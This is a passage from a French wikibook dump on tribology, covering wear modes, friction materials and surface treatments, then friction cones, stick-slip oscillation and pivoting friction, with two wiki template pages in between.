dont on veut assurer le contact, est la règle. ''Article détaillé'' : '''[[Tribologie - Genèse des frottements]]''' == Nature et comportement des surfaces == Le frottement et l'usure mettent en jeu les surfaces de contact ou plus précisément les interfaces, où se produisent des transformations irréversibles qu'il faut considérer de plusieurs points de vue : * état géométrique et microgéométrique, * propreté, * état physicochimique, structure des couches superficielles, * état historique. On en tire des conclusions essentielles pour les processus industriels de fabrication des surfaces frottantes. ''Article détaillé'' : '''[[Tribologie - Nature et comportement des surfaces frottantes]]''' == Les différentes formes d'usure == La vie d'un mécanisme comporte normalement trois phases : rodage, vie utile, vieillesse. L'usure est rapide en début de rodage et pendant la vieillesse. L''''abrasion''' est due à une des pièces qui lime l'autre ou à un troisième corps plus dur que les deux pîèces. Ici plus encore qu'ailleurs il faut éliminer les débris d'usure. L''''adhésion''' vient de la solubilité mutuelle des matériaux des pièces. La rupture adhésive des jonctions donne lieu à une usure douce, la rupture cohésive à une usure sévère pouvant aboutir au grippage. La '''corrosion''' est due à des phénomènes chimiques et non au frottement, mais elle interagit avec ce dernier. La '''corrosion de contact''' ronge les surfaces soumises à de petits déplacements tangentiels, à une vitesse exponentielle si le milieu est oxydant. Les '''surcontraintes''' sont dues au passage d'un frotteur trop chargé ou à des efforts de frottement trop élevés. On peut trouver des fissures de tension derrière le frotteur, un fluage par compression devant ce dernier ou des déformations profondes par cisaillement. La '''fatigue''' provoque des piqûres superficielles ou un écaillage par endommagement progressif en profondeur. L''''érosion''' est une perte de matière par des impacts de particules en suspension dans un fluide. L''''érosion par cavitation''' correspond à un arrachement de matière engendré par l'effet cumulatif des ondes de choc provoquées par l'implosion brutale de bulles de vapeur sur une paroi ou à son voisinage immédiat. Elle ne se produit que dans les zones où se trouve un liquide en dépression (col Venturi, sur-vitesse locale due au contournement d'un aubage,...). La '''fatigue thermique''' est due à des échauffements et refroidissements brutaux et répétés. Il est généralement admis que les pertes économiques par usure représentent de 6 à 10 % du Produit National Brut des pays industrialisés. L'usure représente 30 % des causes d'avarie dans les applications mécaniques. L'importance relative des différents modes d'usure est la suivante : {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Pertes relatives par usure''' |- | Abrasion || 30 % |- | Adhésion || 15 % |- | Fatigue de surface || 15 % |- | Fatigue thermique || 12 % |- | Corrosion de contact || 10 % |- | Corrosion || 10 % |- | Cavitation || 8 % |} Jean-Jacques Caubet a énoncé 7 règles fondamentales pour le constructeur, mettant l'accent sur l'importance du rodage et la nécessité de bien définir les protocoles de fabrication. ''Article détaillé'' : '''[[Tribologie - Usure des surfaces]]''' == Matériaux utilisables pour le frottement == Le choix d'un matériau de frottement est un problème d'optimisation entre des qualités souvent contradictoires : * propriétés mécaniques : dureté, limite d'élasticité, résistance à la compression, au fluage, à la fatigue, résilience, aptitude au vieillissement, amortissement des vibrations et des chocs, * propriétés physico-chimiques : masse volumique, température limite d'utilisation, coefficient de dilatation, conductivité thermique, conductivité électrique, résistance à l'oxydation et à la corrosion, mouillabilité par les lubrifiants, aptitude aux traitements, reprise d'humidité, * propriétés anti-usure : facilité du rodage, résistance à l'abrasion, à l'adhésion et au grippage, à la corrosion de contact, à l'érosion et à la cavitation, à la corrosion par les lubrifiants, * propriétés techniques : facilité de mise en œuvre, conformabilité, absorption de particules abrasives, auto-réparation par comblement des rayures, dureté minimale de l'antagoniste, comportement en cas de lubrification déficiente ou d'incident, comportement face à l'augmentation du jeu, facilité de réparation ou d'échange, aptitude au soudage sur un support, * propriétés d'environnement : caractéristiques du milieu, moyens et possibilités de lubrification, problèmes de pollution ou contamination, * propriétés « socio-économiques » : coût de revient, disponibilité sous des formes diverses, facilité d'approvisionnement, dépendance des fournisseurs, évolution prévisible des techniques, ... ''Article détaillé'' : '''[[Tribologie - Matériaux utilisables pour le frottement]]''' == Traitements et revêtements de surfaces == L'ère des traitements et revêtements de surfaces commença à la fin du 19e siècle. Les débuts furent timides : quelques dépôts électrolytiques et la cémentation. Bien d'autres traitements suivirent : nitruration, phosphatation, Sulfinuz, Tenifer, carbonitruration, etc. Depuis 1950 c'est l'essor de l'aéronautique, de l'espace, de l'atome, du génie chimique. Les mécanismes doivent fonctionner dans le vide, l'eau lourde, le sodium fondu, l'hydrogène, les acides... et il ne faut ni polluer ni consommer trop de matières ou d'énergie. Si le mécanicien est en général assez bien armé dans les premières phases de l'étude d'une machine, il l'est en revanche beaucoup moins pour la mécanique des surfaces : les innombrables résultats fondamentaux et expérimentaux accumulés depuis des décennies n'ont pas encore trouvé leur place dans un ensemble cohérent et efficace. Empêcher les contacts intermétalliques revient à améliorer la lubrification, ou à renforcer le manteau protecteur naturel d'oxydes, ou à créer un manteau protecteur artificiel. Ce dernier peut être sécrété par le métal lui-même, comme le graphite des fontes, ou apporté de l'extérieur, comme le sulfure de fer engendré par le Sulfinuz. Il n'existe pas de loi générale ni de méthode cohérente de choix, si ce n'est la '''règle des trois couches''' : * une zone superficielle mince inhibitrice de soudure et à faibles caractéristiques mécaniques, * une sous-couche dure à hautes caractéristiques mécaniques, avec des contraintes résiduelles de compression, * une zone intermédiaire entre la sous-couche et le cœur de la pièce avec un gradient progressivement décroissant des caractéristiques mécaniques. Les divers traitements ou revêtements peuvent être classés dans l'une des catégories suivantes : * traitements avec transformations structurales par des procédés mécaniques mettant en compression les zones superficielles : galetage, brunissage, grenaillage de précontrainte... * traitements thermiques proprement dits, qui modifient la structure métallurgique : trempe à cœur ou superficielle. * traitements thermochimiques de diffusion qui mettent en jeu des métalloïdes (cémentation, nitruration, carbonitruration, boruration...) ou des métaux (Forez, Delsun, Zinal, Stanal, Sulficad, chromisation...) * traitements thermochimiques de conversion, souvent en bains de sels fondus, qui forment à la surface des pièces des composés capables de faciliter le glissement et de prévenir le grippage. Dans ces traitements le soufre joue un rôle éminent, car il forme des structures à nombreux plans réticulaires capables de glisser facilement : citons le Ténifer, la cyanuration, le Sulfinuz, le Sulf BT... * revêtements par des couches minces de métaux ou de céramiques, carbures, etc. obtenus par voie humide ou sèche. Les deux buts essentiels des traitements et revêtements de surface sont la '''lutte contre le frottement''' et la '''limitation de l'usure'''. Cette dernière varie de façon complexe avec les matériaux et leurs traitements. Par exemple, avec un coussinet en bronze au plomb, l'usure est plus forte en présence d'un arbre en acier cémenté qu'avec un arbre chromé. C'est exactement l'inverse avec un coussinet en alliage aluminium-étain. Il faudrait connaître les résultats donnés par toutes les combinaisons possibles de matériaux, de traitements, dans toutes les ambiances imaginables. La nature chimique de l'atmosphère, la présence ou l'absence de vapeur d'eau, la pression et la température... peuvent influer considérablement sur les résultats. '''Une couche protectrice antiusure n'est intéressante que si son épaisseur est au moins égale à la perte de matière admissible pendant la durée de vie du mécanisme'''. ''Article détaillé'' : '''[[Tribologie - Traitements anti-usure]]''' ''Article détaillé'' : '''[[Tribologie - Revêtements anti-usure]]''' == Lubrifiants == De nos jours il ne suffit plus de « mettre un peu de gras » pour faire fonctionner les machines. Le graissage est devenu une science, pas toujours exacte certes, mais dont tout mécanicien se doit de connaître au moins les rudiments. ''Article détaillé'' : '''[[Tribologie - Lubrifiants]]''' == Applications concrètes == Il a paru intéressant de faire un point, non exhaustif, sur des solutions ou des tendances actuelles dans un grand nombre de domaines : c'est ce que l'on trouvera dans l'article détaillé, où les différents sujets traités sont classés par ordre alphabétique. ''Article détaillé'' : '''[[Tribologie - Applications pratiques]]''' == Guidage par glissement == ''Article détaillé'' : '''[[Tribologie - Guidage par glissement]]''' == Guidage par roulement == Des informations se trouvent dans le chapitre '''[[Tribologie - Applications pratiques]]''' ''Article détaillé'' (juste ébauché pour l'instant) : '''[[Tribologie - Guidage par roulement]]''' == Facteurs de frottement == ''Article détaillé'' : '''[[Tribologie - Facteurs de frottement]]''' == Lien interne == * [[w:Quotient intellectuel#Historique_simplifi.C3.A9|Tribologie et génie : Jean Frêne]] == Lien externe == * '''[http://tribologie.fr tribologie.fr]''', le site de '''Laurent Mahé'''. == Bibliographie == La liste des ouvrages consultés est très longue, vous la trouverez '''[[Tribologie - Bibliographie|ici]]'''. Modèle:EnCours 969 12623 2004-11-10T18:52:50Z Jean-Jacques MILAN 114 <CENTER> {| width="85%"; style="text-align:justify; text-indent:25pt; background-color:yellow;border-style:dotted;border-width:1mm;border-color:red" |[[image:panneau_travaux.png|60px]] |'''Important :''' un éditeur est en train de retravailler en profondeur cet article. Vous êtes prié(e) d'éviter de l'éditer pour limiter les risques de conflit de versions jusqu'à disparition de cet avertissement. Merci. |} </CENTER> Modèle:Double licence 971 23184 2005-10-15T09:54:58Z Kowey 113 {| cellspacing="1" cellpadding="1" style="background: #efefef; border: 1px solid #5E715E; padding: 5px; font-size: 80%;" |- style="text-align: center;" | style="background: #5E715E;color: white;font-size: 1.2em" |'''Travail sous double licence Creative Common/GFDL''' | style="width: 88px; padding-left: 6px;" |[[image:CC SomeRightsReserved.png]] |- | colspan="2" style="padding: 5px;" |Je mets mon travail à la fois sous la license [http://www.gnu.org/copyleft/fdl.html GFDL] et de la [http://creativecommons.org/licenses/by-sa/2.0/deed.fr Licence Creative Commons Share Alike]. Veuillez considérer que d'autres rédacteurs ne font peut-être pas cela. Si vous voulez utiliser mes contributions sous les conditions de la licence Creative Commons veuillez prendre connaissance de ce lien: [http://meta.wikipedia.org/wiki/Guide_to_the_CC_dual-license Guide to the Creative Commons dual-license (en anglais)]. |} Tribologie - Modélisation des actions de contact 978 35225 2006-03-01T11:40:53Z Jean-Jacques MILAN 114 /* Oscillations de relaxation */ faute de frappe [[Catégorie:Tribologie]] {{Tribologie}} == Un peu d'histoire == Pendant très longtemps, les traités de mécanique rationnelle se sont bornés à étudier des systèmes matériels dénués de tout frottement. [[W:Joseph-Louis Lagrange|Joseph-Louis Lagrange]], dans sa ''Mécanique analytique'', semble avoir été le premier à distinguer, parmi les forces extérieures appliquées aux systèmes mécaniques, * les ''forces actives'', que nous appellerions aujourd'hui ''actions directes'', qui pour une large part sont le résultat d'une volonté ou d'une imposition, * les ''forces de liaison'', ou ''actions de contact'', qui sont imposées ou subies en raison de la nécessité d'imposer certaines conditions de fonctionnement aux composants mis en jeu. [[W:Paul Painlevé|Paul Painlevé]], dans ses ''Leçons sur le frottement'', écrit : : La plupart des traités de mécanique rationnelle sont consacrés exclusivement aux systèmes dénués de frottement. Le frottement n'apparaît que dans quelques applications particulières. Est-il impossible de développer, pour les systèmes doués de frottement, une théorie générale analogue, par exemple, à celle que constitue l'application des équations de Lagrange aux systèmes sans frottement ? A coup sûr les lois empiriques du frottement ont des formes différentes suivant la nature des liaisons ; elles possèdent néanmoins assez de caractères communs, la marche qu'il convient de suivre dans les cas particuliers, les difficultés qui s'y rencontrent, offrent assez d'analogies pour qu'une telle théorie ait son utilité tant au point de vue rationnel qu'au point de vue des applications. == Les actions de contact == Il n'y a que deux manières d'appliquer des efforts mécaniques, que ce soit sur un solide unique ou sur un système matériel plus complexe : # '''à distance''' ([[W:poids|poids]] et plus généralement forces de [[W:gravitation|gravitation]], actions magnétiques, électrostatiques, ...) et # '''par contact''' avec d'autres objets ou systèmes matériels. '''Lorsque l'on fait l'inventaire des efforts extérieurs appliqués sur un système matériel, il faut donc répondre complètement et exactement à deux questions :''' # par quoi ce système est-il attiré ou repoussé ? # à quoi ce système touche-t-il ? Le terme '''actions de contact''' désigne l'ensemble des efforts extérieurs, forces et moments, appliqués sur un système mécanique par d'autres objets qui le touchent. Ce sont ces efforts que nous allons tenter de représenter ici, sous la forme de modèles. La plupart du temps, leur répartition est très complexe et il est difficile, voire impossible de les modéliser autrement que par des méthodes statistiques : par exemple, le comportement « global » d'un pneumatique sur une chaussée peut être étudié sans trop de problème, mais pas le contact, à l'instant « t », entre les sculptures du pneumatique et les aspérités du revêtement. Pour être efficace, il faut parfois renoncer à tout connaître. Reste à déterminer les limites de l'étude ... Le mouvement relatif général de deux surfaces en contact peut être considéré comme la combinaison de trois mouvements « élémentaires » : le '''glissement''', le '''pivotement''' et le '''roulement'''. Selon les cas, chacun de ces trois mouvements peut être empêché ou freiné par l''''adhérence''' et/ou le '''frottement'''. Par exemple, dans des conditions normales, les roues d'un véhicule roulent sans glisser sur le sol. En outre, il existe des interactions : sans direction assistée, il est beaucoup plus facile de tourner le volant d'une automobile lorsqu'elle roule que lorsqu'elle est arrêtée, le fait que le pneu roule lui permet de pivoter plus facilement. Il est bien rare qu'une machine puisse fonctionner sans que l'on ait tenu compte des '''résistances passives'''. L'ingénieur doit donc : * les mettre à profit pour garantir l'adhérence d'une roue sur le sol, l'efficacité d'un frein ou d'un embrayage, la tenue en service d'un assemblage boulonné, ... * ou les combattre, afin d'améliorer les rendements mécaniques, d'économiser l'énergie, d'obtenir de meilleures performances ... Dans les deux cas, il doit être capable de définir et de quantifier les phénomènes susceptibles de se produire, ce qui suppose qu'il puisse créer des modèles rendant compte aussi fidèlement que possible de la réalité. == Adhérence et glissement == {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Bloc au repos.png|150px]] |- align=center | <small>'''Schéma'''</small> |} Un bloc parallélépipédique est pressé sur un plan par une force normale <math>\vec{N}</math> (son poids ou toute autre force imposée). Naturellement, cette force est compensée par l'ensemble des actions exercées par le plan sur le bloc, actions qui n'ont pas été dessinées ici puisque le bloc n'est pas isolé. Rappelons qu''''il ne faut jamais représenter les actions de contact sur un plan d'ensemble'''. Appliquons maintenant au bloc une force <math>\vec{T}</math> parallèle au plan. Cette fois, le bloc a été isolé, ce qui nous permet de dessiner la résultante <math>\vec{R}</math> de toutes les petites forces élémentaires qu'il reçoit de la part du plan. Tant que <math>\vec{T}</math> reste faible, rien ne bouge, le bloc est en '''équilibre''' : les trois forces ont des '''supports coplanaires''', '''concourants''', et '''leur somme est nulle'''. Remarquons en passant que le point d'application de la résultante <math>\vec{R}</math> n'est pas au centre du bloc mais légèrement décalé « vers l'avant ». {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Adherence.png|200px]] |- align=center | <small>'''Poussée sans glissement'''</small> |} Le fait que la poussée <math>\vec{T}</math> ne provoque aucun mouvement prouve qu'il existe dans le contact des forces suffisantes pour maintenir le bloc immobile. On dit alors qu'il y a '''adhérence''' (et non pas ''adhésion'', terme utilisé dans le cas du [[W:collage|collage]]). La résultante <math>\vec{R}</math> est dans le même plan que <math>\vec{N}</math> et <math>\vec{T}</math>, elle est située, par rapport à la normale, du côté qui lui permet de contrebalancer l'effet de <math>\vec{T}</math>. L'angle de <math>\vec{R}</math> avec la normale n'a pas une valeur fixe, il est d'autant plus grand que la poussée <math>\vec{T}</math> est plus forte mais il ne peut en aucun cas dépasser une certaine valeur <math>\phi_o</math> dite '''angle limite d'adhérence''' ou plus simplement '''angle d'adhérence'''. Si l'on fait tourner la direction de <math>\vec{T}</math> autour de la normale, <math>\vec{R}</math> « suit le mouvement » et la conclusion est la même. Il s'ensuit que la résultante <math>\vec{R}</math> se trouve '''dans''' ou à la limite '''sur''' un cône de révolution dont l'axe est perpendiculaire au plan et dont le demi-angle au sommet vaut <math>\phi_o</math>. Ce cône est appelé '''cône d'adhérence'''. Le '''[[Tribologie - Facteurs de frottement|facteur d'adhérence]]''' <math>f_o</math>, ou '''coefficient d'adhérence''', est la limite supérieure du rapport des normes de l'effort tangentiel et de l'effort normal : :<math>f_o=\tan {\phi_o} \ge \frac {\left| \left| \vec{T}\right| \right|}{\left| \left| \vec{N}\right| \right|}</math> {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Glissement.png|210px]] |- align=center | <small>'''Glissement'''</small> |} Supposons maintenant que nous poussions suffisamment fort pour faire '''glisser''' le bloc. Si celui-ci a une vitesse constante <math>\vec{v}</math>, alors nous pouvons à nouveau faire comme s'il était en équilibre, c'est-à-dire que les trois forces <math>\vec{N}</math>, <math>\vec{T}</math> et <math>\vec{R}</math> qui s'exercent sur lui sont toujours coplanaires, concourantes, et leur somme est nulle. Nous constatons cette fois que la résultante <math>\vec{R}</math> est toujours inclinée du même '''angle de frottement''' φ par rapport à la normale, c'est-à-dire qu'elle se trouve toujours sur un cône d'axe normal au plan et de demi angle au sommet φ, que nous appellerons '''cône de frottement'''. Le '''[[Tribologie - Facteurs de frottement|facteur de frottement]]''' ou '''coefficient de frottement''' f est cette fois égal au rapport (constant) des normes de l'effort tangentiel et de l'effort normal : :<math>f = \tan\phi = \frac {\left| \left| \vec{T}\right| \right|}{\left| \left| \vec{N}\right| \right|}</math> {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Retenons que :''' |- align=center | S'il y a glissement <br />la force de contact est '''sur''' le '''cône de frottement''' <br /> le '''coefficient de frottement''' correspond à une '''égalité''' || <math>f = \tan\phi = \frac {\left| \left| \vec{T}\right| \right|}{\left| \left| \vec{N}\right| \right|}</math> |- align=center | S'il n'y a pas glissement <br /> la force de contact est '''dans''' ou à la limite '''sur''' le '''cône d'adhérence''' <br />le '''coefficient d'adhérence''' correspond à une '''inégalité''' || <math>f_o=\tan {\phi_o} \ge \frac {\left| \left| \vec{T}\right| \right|}{\left| \left| \vec{N}\right| \right|}</math> |} Dans la plupart des problèmes de mécanique rationnelle qui font intervenir le frottement, on fait l'hypothèse que les deux coefficients d'adhérence et de frottement sont égaux et constants. Ce n'est évidemment qu'une approximation plus ou moins grossière. Le coefficient de frottement, comme nous le verrons, dépend d'une foule de paramètres parfois invraisemblables. Pour deux matériaux donnés, il peut varier dans d'énormes proportions selon la [[W:vitesse de glissement|vitesse de glissement]], la [[W:température|température]], la [[lubrification]], ... Généralement le coefficient d'adhérence est plus important que le coefficient de frottement. Il s'ensuit qu'il est plus difficile de provoquer un mouvement que de le maintenir une fois qu'il a démarré. Cependant, un coefficient de frottement qui diminue quand la vitesse augmente est générateur de [[W:vibration|vibration]]s, c'est pourquoi l'on recherche souvent des couples de matériaux dont le coefficient de frottement croît légèrement quand la vitesse de glissement augmente ; c'est le cas, par exemple, pour les [[W:embrayage|embrayage]]s et les [[W:frein|frein]]s des véhicules. === Détermination rapide du coefficient d'adhérence === Imaginons un objet fait d'un matériau A reposant sur un plan horizontal fait d'un matériau B. Si l'on incline légèrement le plan, rien ne se passe puisque la résultante des actions de contact, directement opposée au poids de l'objet, se situe <u>dans</u> le cône d'adhérence. En continuant d'incliner le plan, très progressivement, il arrive un moment où cette résultante se trouve juste <u>sur</u> le cône d'adhérence, on se trouve alors à la limite du glissement. La moindre inclinaison supplémentaire provoquera alors le glissement, puisque la résultante des efforts de contact ne pourra plus s'opposer au poids. L'angle limite d'inclinaison du plan n'est autre que l'angle d'adhérence des deux matériaux A et B, dans l'état où ils se trouvent (qualité de la surface, lubrification éventuelle, etc.). === Le « paradoxe de Painlevé » === Certains cas particuliers ont été signalés par [[W:Paul Painlevé|Paul Painlevé]] et [[W:Amédée de Saint-Germain|Amédée de Saint-Germain]] en 1895. Le mouvement commençant d'un système est généralement déterminé par les conditions initiales mais ce n'est pas toujours le cas. En particulier, lorsque les liaisons sont surabondantes, il y a souvent plusieurs mouvements commençants possibles. Cet aspect des choses est connu depuis Bouligand sous le nom de « '''paradoxe de Painlevé''' ». == Contacts infinitésimaux == {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Contacts.png|none|175px]] |- align=center | <small>'''Points réels de contact'''</small> |} Dans le cas du frottement à sec (on parle de frottement immédiat, par opposition au frottement médiat qui fait intervenir un lubrifiant), l'aire réelle du contact de deux corps est toujours extrêmement petite par rapport à l'aire apparente définie par exemple sur un dessin technique. De plus, elle est très fragmentée : les pièces ne se touchent qu'en quelques points seulement, au moins trois non alignés, davantage si les pièces sont fortement pressées l'une contre l'autre Pour envisager le problème à l'échelle infinitésimale, il faut supposer qu'il existe pour l'aire de contact S une échelle d'observation telle que les phénomènes qui se produisent à l'interface donnent l'impression d'être continus. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Element_de_surface.png|none|175px]] |- align=center | <small>'''Élément de surface dS'''</small> |} Dans ces conditions, il est possible de diviser S en éléments dS assez petits pour que l'on puisse considérer : * que la pression de contact qu'ils subissent est uniforme, * que la vitesse de glissement est la même en tous les points. Ces deux hypothèses conduisent à assimiler chaque élément dS à une petite portion de plan située autour d'un point central M et à laquelle on associe un vecteur unitaire normal <math>\vec{n}</math> extérieur à la matière. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Force_elementaire.png|none|120px]] |- align=center | <small>'''Forces s'appliquant sur dS'''</small> |} On représente ici par <math>\overrightarrow{dF}</math> la force élémentaire appliquée par la pièce A sur la pièce B, au niveau de l'élément de surface dS. Cette force peut toujours être « décomposée » d'une manière unique en une force normale <math>\overrightarrow{dN}</math> dirigée suivant <math>\vec{n}</math> et une force tangentielle <math>\overrightarrow{dT}</math> située dans le plan de la surface dS. Bien évidemment <math>\overrightarrow{dF}=\overrightarrow{dN}+\overrightarrow{dT}</math> Si l'on appelle p la pression de contact au niveau de dS, alors on peut aussi écrire : <math>\overrightarrow{dN}=p\,dS \, \vec{n}</math> La composante tangentielle <math>\overrightarrow{dT}</math> donnera quant à elle une contrainte tangentielle. En plus des pressions de contact comptées dans la direction perpendiculaire au petit élément de surface, le frottement engendre donc un effet de cisaillement. L'étude globale devrait théoriquement se faire en intégrant les effets de toutes les petites forces de contact élémentaire, mais il est clair que si la surface de contact de deux corps est un tant soit peu complexe, les calculs deviennent très vite inextricables. Tout l'art consistera donc à créer des '''modèles''' d'étude pas trop éloignés de la réalité. == Oscillations de relaxation == Les lois du frottement, dites plus ou moins à tort « [[w:loi de Coulomb|lois de Coulomb]] », et sur lesquelles nous reviendrons dans le chapitre suivant, stipulent que le facteur de frottement ne dépend que de la nature des matériaux en présence et de l'état de leur surface, et qu'il est indépendant de facteurs comme la pression de contact, la vitesse de glissement, la température, etc. Ce n'est évidemment qu'une approximation souvent grossière. Le facteur d'adhérence est généralement supérieur, parfois de beaucoup, au facteur de frottement. Nous allons montrer comment cela favorise l'apparition d'un phénomène de glissement saccadé que les anglo-saxons nomment '''stick-slip''' (littéralement colle-glisse) et qui est une [[W:oscillation de relaxation|oscillation de relaxation]] que l'exemple ci-dessous va illustrer : {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Stick-slip.png|none|right|225px]] |- align=center | <small>'''Schéma du dispositif'''</small> |} Une masse M de poids 100 N peut glisser sur un plan horizontal sous la poussée d'un ressort R que l'on comprime en faisant tourner très lentement une vis V. On admettra que le facteur d'adhérence vaut 0,3 et le facteur de frottement 0,25 ; la raideur du ressort est k = 1 N/mm. Lorsque la force fournie par le ressort atteint 30 N, la masse démarre. Le ressort est alors comprimé d'une quantité X = 30 mm et son énergie potentielle vaut : :<math>W_i=\frac{k\,X^2}{2}</math> Dès le début du glissement, la résistance à l'avancement n'est plus que de 25 N ; comme la force appliquée par le ressort vaut 30 N, la masse M va « bondir », puis s'arrêter après avoir parcouru une certaine distance d. À la fin de ce mouvement, l'énergie potentielle du ressort vaut : :<math>W_f=\frac{k(X-d)^2}{2}</math> La variation de l'énergie potentielle du ressort entre le début et la fin du mouvement correspond au travail des forces de frottement le long du parcours : :<math>k\,X^2-k(X-d)^2=2\,M\,g\,f\,d</math> On en tire : :<math>d=2\,X-\frac{2\,M\,g\,f}{k}=60-\frac{2.100.0,25}{1}=10\,mm</math> On remarquera que lorsque la masse s'arrêtée, la tension du ressort ne vaut plus que 20 N. Il faudra faire avancer la vis de 10 mm pour provoquer un nouveau déplacement. Si la vis tourne lentement et d'un mouvement continu, la masse avance par bonds successifs de 10 mm. Vous pourrez reproduire facilement ce phénomène en tirant une masse par l'intermédiaire d'un élastique. Vous constaterez que les bonds sont d'autant plus longs que l'élastique est plus mou et qu'ils dépendent aussi des matériaux en présence. Ce type de mouvement est responsable des sons musicaux émis par les instruments de musique à cordes frottées de la famille du violon, du grincement des portes dans les gonds desquelles « les gouttes d'huile se coincent », du crissement de la craie sur le tableau, du chant des grillons et des sauterelles, des bruits stridents émis par les freins de certains poids lourds, etc. On comprend mieux désormais le titre de ce paragraphe. Oscillation de relaxation signifie que pendant une phase du mouvement, le système accumule une énergie potentielle qui se libère, se relaxe, brutalement, pendant la phase suivante. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |- |+ '''Exemple d'une craie''' |- valign=top |[[Image:Craie1.jpg|none|175px]] |En tenant la craie de cette manière, fermement et en appuyant sur l'extrémité qui écrit, l'élasticité de la main n'intervient pratiquement pas ; c'est ainsi que l'on écrit sans bruit et en déposant un maximum de craie sur le tableau |- valign=top |[[Image:Craie2.jpg|none|175px]] |Si l'on tient la craie plus souplement, par l'extrémité qui n'écrit pas, et en l'inclinant « dans le sens inverse de la marche », le système devient déformable et apte à emmagasiner de l'énergie potentielle. La craie sautille bruyamment sur le tableau, trace un magnifique pointillé ... et s'use moins que précédemment. Merci Monsieur [[W:Gaspard Coriolis|Coriolis]] ! |- valign=top |[[Image:Craie3.jpg|none|70px]] |On peut ici comparer les deux traits ... |- valign=top |[[Image:Craie4.jpg|none|175px]] |Et voici les mêmes vus de près. Le trait continu ne l'est que de loin, il prèsente en fait les nombreuses stries orientées dans la direction du mouvement qui résultent de l'[[Tribologie - Usure des surfaces|usure]] abrasive. À droite, on s'aperçoit que tous les petits traits ont la même structure : une trace d'impact bien marquée suivie d'une trace de frottement plus légère, qui précède la phase de « décollage » de la craie. |} == Frottement de pivotement == {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Pivotement.png|150px]] |- align=center | <small>'''Frottement de pivotement'''</small> |} Il s'agit d'un cas particulier du frottement de glissement, avec une vitesse de glissement variable dans la zone d'appui. Une bille, qui repose ici dans une alvéole en forme de calotte sphérique, est chargée verticalement par une force <math>\vec{F}</math>. Pour la faire tourner à la vitesse <math>\overrightarrow{\Omega_p}</math> par rapport au support, il faut lui appliquer un couple <math>\overrightarrow{C_p}</math>. Ce couple, créé par les résistances passives, freine d'autant plus la rotation que le facteur de frottement est plus élevé et que l'appui est plus étendu et plus chargé. Il dépend en outre de la façon dont se répartissent les pressions de contact entre la sphère et le support. Il est toujours possible d'écrire le couple de frottement de pivotement sous la forme suivante : :<math>\left|\left| \overrightarrow{C_p} \right|\right|=R\,\left|\left| \vec{P}\right|\right|</math> {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Rayon_de_pivotement.png|150px]] |- align=center | <small>'''Rayon de pivotement'''</small> |} Tout se passe comme si le contact des deux objets se faisait sur une couronne circulaire de rayon moyen R. Ce rayon fictif R est le '''facteur de frottement de pivotement'''. Si le couple « moteur » est insuffisant, la bille ne tourne pas, il y a adhérence, dans ce cas : :<math>\left|\left| \overrightarrow{C_p} \right|\right| \le R\,\left|\left| \vec{P}\right|\right|=C_{po}</math> {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |+ '''Attention !''' |- align=center | Le facteur de frottement de pivotement est une '''longueur''',<br /> contrairement au facteur de frottement de glissement qui n'a aucune dimension |} Sous sa simplicité apparente, ce petit problème cache beaucoup de choses : * Si le couple est très faible, l'adhérence règne partout dans le contact, les surfaces ne glissent nulle part mais l'ensemble du système se déforme très légèrement à cause de l'élasticité des matériaux. La bille tourne d'un très petit angle avant de s'immobiliser. * Si le couple est un peu plus important, alors les déformations élastiques augmentent et l'on commence à voir des glissements dans les zones du contact les plus éloignées de l'axe. Le frottement dans ces zones externes, associé aux forces d'adhérence dans la zone centrale, immobilise la bille. Les déplacements qui se sont produits font que si le couple se relâche, la bille ne revient pas exactement à sa position initiale, des forces de cisaillement subsistent dans le contact. * Si le couple augmente encore, la zone de glissement s'étend à tout le contact et la bille tourne en permanence. Le problème devient soudain ... beaucoup plus simple et facile à étudier ! Dans tout contact apparemment immobile, il y a pratiquement toujours des zones dans lesquelles se produisent des glissements tandis que partout ailleurs règnent des efforts de cisaillement inférieurs à la limite à partir de laquelle le glissement se produit. Pour comprendre ce phénomène, une expérience très simple suffit : pressons nos deux mains l'une contre l'autre, paume contre paume, doigts étendus et serrés. Normalement, par symétrie, leur contact est une surface plane. Lorsque nous les faisons tourner de quelques degrés l'une par rapport à l'autre autour du « poil dans la main », les premiers glissements se produisent au bout des doigts tandis qu'au niveau des paumes, l'élasticité des « tissus mous » autorise la rotation des structures osseuses sans pour autant que le glissement se produise. Une fois que les doigts ont glissé, ils ne reprennent pas spontanément leur position initiale, on ne peut les y ramener que par l'application d'un couple de sens contraire au précédent. === Pivotement dans un contact ponctuel « hertzien » === Deux solides bombés parfaitement indéformables mis en contact l'un avec l'autre devraient théoriquement se toucher par un seul point. Évidemment cette représentation est fausse car le moindre effort normal donnerait une pression infinie, ce qui est physiquement impossible. On l'utilise néanmoins à l'échelle macroscopique, lorsque les zones de contact sont très petites par rapport aux dimensions des pièces mises en jeu. En réalité, les matériaux étant toujours plus ou moins déformables, le contact s'établit selon une petite surface dont l'aire augmente, mais pas de façon linéaire, lorsque l'effort normal croît. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Hertz.png|200px]] |- align=center | <small>'''Pressions de Hertz'''</small> |} Dans certaines conditions bien définies, que nous verrons plus loin, on peut parler de [[contact hertzien]] « ponctuel », par exemple celui d'une bille sur un plan). D'après la théorie de l'ingénieur [[Heinrich Hertz|Hertz]], cette surface est en général une petite ellipse ou parfois un cercle ; la pression de contact, maximale au centre, diminue graduellement selon une loi elliptique jusqu'à la périphérie. Le diagramme donnant la répartition des pressions sur l'appui est donc un demi-[[W:ellipsoïde|ellipsoïde]]. On montre que dans ces conditions, le couple de frottement de pivotement est proportionnel au périmètre L de la zone d'appui ; f est bien sûr le facteur de frottement et P la charge normale au contact. :<math>C_p=\frac{3}{32}f\,L\,P</math> === Cas d'une collerette d'appui === {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Collerette.png|175px]] |- align=center | <small>'''Collerette d'appui'''</small> |} Un cas particulier très fréquent est celui d'une collerette d'appui. La portée des deux 